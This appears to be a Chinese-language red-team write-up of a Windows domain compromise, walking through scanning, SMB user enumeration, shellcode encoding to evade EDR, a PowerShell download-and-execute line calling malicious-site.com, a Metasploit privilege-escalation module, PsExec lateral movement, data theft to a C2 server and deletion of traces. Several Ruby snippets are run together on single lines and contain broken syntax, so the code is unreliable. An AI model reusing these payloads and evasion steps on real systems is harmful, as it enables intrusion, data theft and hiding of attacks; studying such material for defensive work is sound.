一、案例引入:一次隐秘的域渗透
在某次授权的红队演练中,我们接到了一个任务:渗透某大型企业的内部网络,目标是在不被发现的情况下获取域管理员权限。这家公司拥有复杂的Windows域结构和多层防御机制,包括最新的EDR(终端检测与响应)系统。在这种情况下,传统的攻击手段很可能会被检测到,因此我们需要一种巧妙的绕过方式。
我们的突破口在于发现该企业的某个开发部门中存在一台Windows Server,该服务器对外提供API服务,并未及时更新补丁。通过对该服务器的漏洞利用,我们成功获取了初始访问权限,并开始我们的域渗透之旅。
二、信息收集与初步渗透
一旦进入目标网络,信息收集是渗透的第一步。我们利用各种工具和脚本来探测域内的信息,找出潜在的攻击路径。
网络扫描与服务识别
工具:Nmap & Ruby脚本
首先,我们用Nmap扫描目标网络,以识别开放的端口和服务:
<pre><code class="language-shell">nmap -sS -p- --open -T4 10.0.0.0/24</code></pre>

在这次扫描中,我们发现了几台服务器运行着Windows服务,其中一台甚至在445端口开启了SMB服务。
用户枚举与凭证捕获
工具:Ruby + SMB脚本
为了获取更多的用户信息,我们编写了一个简单的Ruby脚本,利用SMB协议进行用户枚举:
<pre><code class="language-ruby">require 'smb'

host = '10.0.0.6' smb = SMB::Client.new(host: host) smb.enumerate_users.each do |user| puts "Found user: #{user}" end</code></pre>
这段代码帮助我们枚举出了一些域用户,接下来,我们准备通过凭证窃取工具(如Mimikatz)来捕获敏感信息。
三、Payload构造:武器化技巧
在获取了足够的信息后,下一步就是构造有效的Payload,绕过目标的安全防护。
绕过EDR与免杀技巧
为了在目标系统上执行恶意代码,我们需要确保Payload能够绕过现有的EDR防护。我们使用以下技术:
工具:Shellcode生成器 & Ruby
首先,我们生成Shellcode,并通过Ruby脚本进行混淆和编码处理:
<pre><code class="language-ruby">shellcode = "\x31\xc0\x50\x68..." encoded = shellcode.unpack1('h*') puts "Encoded shellcode: #{encoded}"</code></pre>
通过这种简单的编码,我们可以避免常见的特征检测。
内存加载与执行
工具:PowerShell & Ruby
为了避免写入磁盘导致被防护软件检测,我们利用PowerShell来动态加载和执行Payload:
<pre><code class="language-ruby">powershell = 'powershell -Command "IEX(New-Object Net.WebClient).DownloadString(\'http://malicious-site.com/payload.ps1\')"' puts #{powershell}</code></pre>
通过这种方式,Payload被直接加载到内存中进行执行,极大降低被发现的风险。
四、横向移动与权限提升

成功在目标机器上执行Payload后,我们需要进一步提升权限,并在网络中横向移动。
本地权限提升
工具:Metasploit & Ruby
我们利用Metasploit框架中的漏洞模块进行权限提升:
<pre><code class="language-ruby">use exploit/windows/local/ms14_058_track_popup_menu
set session 1 exploit</code></pre>
成功提升权限后,我们获取了管理员权限,接下来便是横向移动。
横向移动策略
工具:PsExec & Ruby
我们编写Ruby脚本结合PsExec工具来进行域内横向移动:
<pre><code class="language-ruby">require 'rex' rex = Rex::Proto::SMB::SimpleClient.new rex.connect('10.0.0.8', 445) rex.login('administrator', 'password') rex.psexec('cmd.exe /c echo Hello from Ruby!')</code></pre>

通过这种方式,我们能够在网络中进一步扩展控制范围。
五、数据窃取与痕迹清除
达到目标后,我们开始进行数据窃取,同时确保不留下任何痕迹。
数据窃取策略
工具:Ruby + Web请求
利用Ruby脚本,我们进行敏感数据的窃取:
<pre><code class="language-ruby">require 'net/http'
uri = URI('http://target-server.com/secret-data') response = Net::HTTP.get(uri) puts "Data stolen: #{response}"</code></pre>
将数据上传到我们的C2服务器进行存储和分析。
痕迹清除技巧
工具:Windows命令 & Ruby
为了清除痕迹,我们执行一系列的清除命令,通过Ruby进行自动化:
<pre><code class="language-ruby">commands = [ 'del /f /q C:\\Windows\\Temp\\', 'del /f /q C:\\Windows\\Prefetch\\' ]
commands.each do |cmd| system(cmd) end</code></pre>
确保不留下任何操作记录,以防被追踪。
六、个人经验分享
在这次演练中,我们成功突破了目标的防御,获得了域管理员权限。通过这一过程,我深刻体会到,信息收集的准确性和Payload构造的隐秘性是渗透成功的关键。此外,熟练运用各种工具和脚本语言(如Ruby)的能力,将大大提升攻击的灵活性和成功率。
红队演练不仅仅是技术的对抗,更是策略的较量。每一次成功的渗透,都离不开前期的充分准备和后期的不留痕迹。希望这次分享能为大家提供一些新的思路和技巧。记住:攻击者的思维永远在于创新与突破。